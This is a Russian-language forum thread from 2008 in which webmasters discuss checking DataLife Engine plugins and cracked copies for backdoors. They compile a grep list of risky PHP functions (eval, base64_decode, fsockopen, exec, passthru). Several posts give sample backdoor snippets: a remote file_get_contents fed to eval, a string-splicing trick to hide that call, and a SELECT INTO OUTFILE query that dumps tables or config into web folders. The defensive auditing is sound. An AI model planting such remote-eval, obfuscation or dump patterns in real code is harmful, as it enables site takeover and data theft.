lifestar 18 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 (изменено) Всем добрый день! Сегодня на повестке дня стоит вопрос безопасности наших с вами сайтов. А именно - мы устанавливаем некоторые модули (плагины). Всё хорошо, но теперь мы должны быть внимательны - установка любого модуля теоретически ведёт к захвату вашего сайта автором модуля. Тоже самое касается и нелицензионных (взломанных) копий DataLife Engine! Конечно конечно - большинство разработчиков - честные люди, но ведь всякое бывает. Сегодня ваш сайт стоит копейки, а завтра десяток другой килобаксов - пора платить! Каким образом установка модуля (плагина) снижает безопастность? При установке модуля строго рекомендую использовать поиск в файлах по ключевым словам "mail", "eval", "include", 'file_get_contents" - пока всё. Вариантов масса, но пока остановимся на этом. Если вы нашли эти команды в коде модуля - внимательно посмотрите вокруг и если сами не понимаете что происходит в этом месте с программой - спросите у товарища, а лучше на форуме. Приведу пример из 2-х строчек, которые приведут к захвату вашего сайта: $tt = @file_get_contents ('http://site.ru/script.txt'); ........... eval ($tt); Вот так - причём эти строчки могут быть вообще в разных файлах модуля. Что делать если исхдный код закрыт Зендом? - да собственно ничего, ставить мод (плагин) на собственный страх и риск. Вводная часть закончена, предлагаю обсудить этот животрепещущий вопрос Изменено 8 января 2008 пользователем lifestar Цитата Ссылка на сообщение Поделиться на других сайтах
kosen 3 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 lifestar, Полезная информация! Действительно, подобные вещи можно спрятать в коде в разных местах... так, что он не будет бросаться в глаза... И если знать такие способы, то это очень поможет... Цитата Ссылка на сообщение Поделиться на других сайтах
celsoft 6 077 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 я бы добавил к словам которые нужно искать: file strrev fsockopen base64_decode Цитата Ссылка на сообщение Поделиться на других сайтах
revix.ru 0 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 еще вот @mail Цитата Ссылка на сообщение Поделиться на других сайтах
lifeislove 0 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 спасибо! будем искать Цитата Ссылка на сообщение Поделиться на других сайтах
lifestar 18 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 Автор celsoft, спасибо. revix.ru, вы сегодня невнимательны) Итак список пополняется и теперь он таков: mail eval include require file* strrev fsockopen base64_decode curl_* Кто ещё предложит?) Цитата Ссылка на сообщение Поделиться на других сайтах
revix.ru 0 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 ifestar, после праздников) Цитата Ссылка на сообщение Поделиться на других сайтах
IT-Security 33 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 Ну include и require думаю лишние. Так как без них трудно писать скрипты... Цитата Ссылка на сообщение Поделиться на других сайтах
lifestar 18 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 Автор IT-Security, так не имелось в виду их запретить вообще. Просто проверить что именно подключается. На некоторых хостингах срабатывает удалённый инклуд жеж Цитата Ссылка на сообщение Поделиться на других сайтах
IT-Security 33 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 Тож верно. Цитата Ссылка на сообщение Поделиться на других сайтах
WMDrakon 20 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 Я может скажу что то нереальное, но самая надежная защита это вообще не ставить модулей Цитата Ссылка на сообщение Поделиться на других сайтах
lifestar 18 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 Автор но самая надежная защита это вообще не ставить модулейну или писать самому) Цитата Ссылка на сообщение Поделиться на других сайтах
BlackM 0 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 (изменено) $a1="fi"; $a2="le"; $a3="ge"; $a4="t"; $a5="co"; $a6="nt"; $a7="en"; $a8="_"; $a1.=$a2; $a2=$a1.$a8; $a3.=$a4.$a8; $a2.=$a3.$a8; $a1=$a2.$a5.$a6.$a7.$a4; eval($a1("http://Мега страшный скрипт")); А такое? Так что пр желании - неподготовленный человек не найдёт уязвмости)) Изменено 8 января 2008 пользователем BlackMaster Цитата Ссылка на сообщение Поделиться на других сайтах
Akela 9 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 А такое? Я бы вообще не ставил бы модуль, где написано "eval". Цитата Ссылка на сообщение Поделиться на других сайтах
lifestar 18 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 (изменено) Автор BlackMaster, я же написал в списке eval, да и тем более неподготовленный человек вообще никогда не найдёт уязвимости. Добавляем в список: fopen, ftp_*, http_*, get_meta_tags, exec и passthru и получаем: base64_decode curl_* file* fopen fsockopen ftp_* get_meta_tags http_* include eval exec mail passthru require strrev + ко всему вышесказанному опасной является конструкция: $db->query('SELECT * INTO OUTFILE "'.$_SERVER['DOCUMENT_ROOT'].'/XXX/test.txt" FROM **TBL**'); где XXX: templates, backup, uploads, а также для всех папок, находящихся внутри них и на которых поставлены права 7** (с правами могу ошибаться - поправьте если я не прав) **TBL** - соответственно ваша таблица, содержимым которой интересуется разработчик модуля Да кстати, точно таким же способом можно "сохранить" файл конфига базы в текстовый файл, предварительно записав его значения в БД, а позже удалив эту запись. Сам файл кстати тоже рекомендуется удалить после прочтения. Изменено 8 января 2008 пользователем lifestar Цитата Ссылка на сообщение Поделиться на других сайтах
BlackM 0 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 Причём тут eval)) вот пример когда его не найти: $a="enter val"; for($i=1;$i<6;$i++){ $a[$i]=''; } $a("очень страшный скрипт"); Так, что ХОРОШО не подготовленый - не найдёт даже зная, что нужно искать))) Цитата Ссылка на сообщение Поделиться на других сайтах
lifestar 18 Опубликовано: 8 января 2008 Рассказать Опубликовано: 8 января 2008 Автор BlackMaster, может ты хотел сказать так? $a="enter val"; $b = $a[0].$a[6].$a[7].$a[8]; $b("очень страшный скрипт"); Такое никогда не выполнится, потому что это пользовательская функция и PHP вызовет ошибку "Call to undefined function eval()..." Цитата Ссылка на сообщение Поделиться на других сайтах
BlackM 0 Опубликовано: 9 января 2008 Рассказать Опубликовано: 9 января 2008 Хм... и правда) Не знал))) Eval не спрячем... Но есть ещё PHP в "картинках"))) Цитата Ссылка на сообщение Поделиться на других сайтах
lifestar 18 Опубликовано: 9 января 2008 Рассказать Опубликовано: 9 января 2008 Автор Но есть ещё PHP в "картинках"точно! Проведу эксперименты) Цитата Ссылка на сообщение Поделиться на других сайтах
daykkin 0 Опубликовано: 10 января 2008 Рассказать Опубликовано: 10 января 2008 потратил час где-то, просмотрел все, помоему нереально так вычеслить.. Нулл точно весь не перероешь, там на каждую команду от 2 до 20 совпадений (файлов).. а папку с модами просканил, таже басня, половина команд используются в каждом модуле.. не выход, имхо.. Может быть есть смысл палить по "_http:" или как нибудь иначе, страшный скрипт то должны подгрузить с какого то ресура.. простите если рассуждаю как ламер, но вышеизложенное - малоэффективно, имхо.. Цитата Ссылка на сообщение Поделиться на других сайтах
revix.ru 0 Опубликовано: 10 января 2008 Рассказать Опубликовано: 10 января 2008 -15 Цитата Ссылка на сообщение Поделиться на других сайтах
WMDrakon 20 Опубликовано: 10 января 2008 Рассказать Опубликовано: 10 января 2008 Пашо, а зачем проверять null? Тут говорится про модули, где всего пару файлов и нет таких совпадений. Цитата Ссылка на сообщение Поделиться на других сайтах
lifestar 18 Опубликовано: 10 января 2008 Рассказать Опубликовано: 10 января 2008 (изменено) Автор Пашо, теоретически можно написать скрипт проверки на урл, не равном своему. Но его легко можно будет обмануть Так у тебя нуль? надо проверить, надо) а лучше покаж регистрационный код скорее, иначе дело жареным запахнет А вообще половина команд используются в каждом модуле..какие "команды" из этого списка используются в модулях кроме include и requirebase64_decode curl_* file* fopen fsockopen ftp_* get_meta_tags http_* include eval exec mail passthru require strrev Изменено 10 января 2008 пользователем lifestar Цитата Ссылка на сообщение Поделиться на других сайтах
daykkin 0 Опубликовано: 10 января 2008 Рассказать Опубликовано: 10 января 2008 ничо не понял про регистрационный код и прочее.. команды половина.. я уже точно не помню а перерыскивать все уже не хочеться, в частности в модулях - для загрузки картинок архивом, сайт мап, и он-лайн статистика.. находились половина всех этих команд.. Пашо, а зачем проверять null? Тут говорится про модули, где всего пару файлов и нет таких совпадений. ТС писал вообще то Тоже самое касается и нелицензионных (взломанных) копий DataLife Engine! Цитата Ссылка на сообщение Поделиться на других сайтах
WMDrakon 20 Опубликовано: 11 января 2008 Рассказать Опубликовано: 11 января 2008 Пашо, ТС пошутил)))))) Проверять null - это бред!!!! Цитата Ссылка на сообщение Поделиться на других сайтах
Рекомендованные сообщения
Присоединяйтесь к обсуждению
Вы можете опубликовать сообщение сейчас, а зарегистрироваться позже. Если у вас есть аккаунт, войдите в него для написания от своего имени.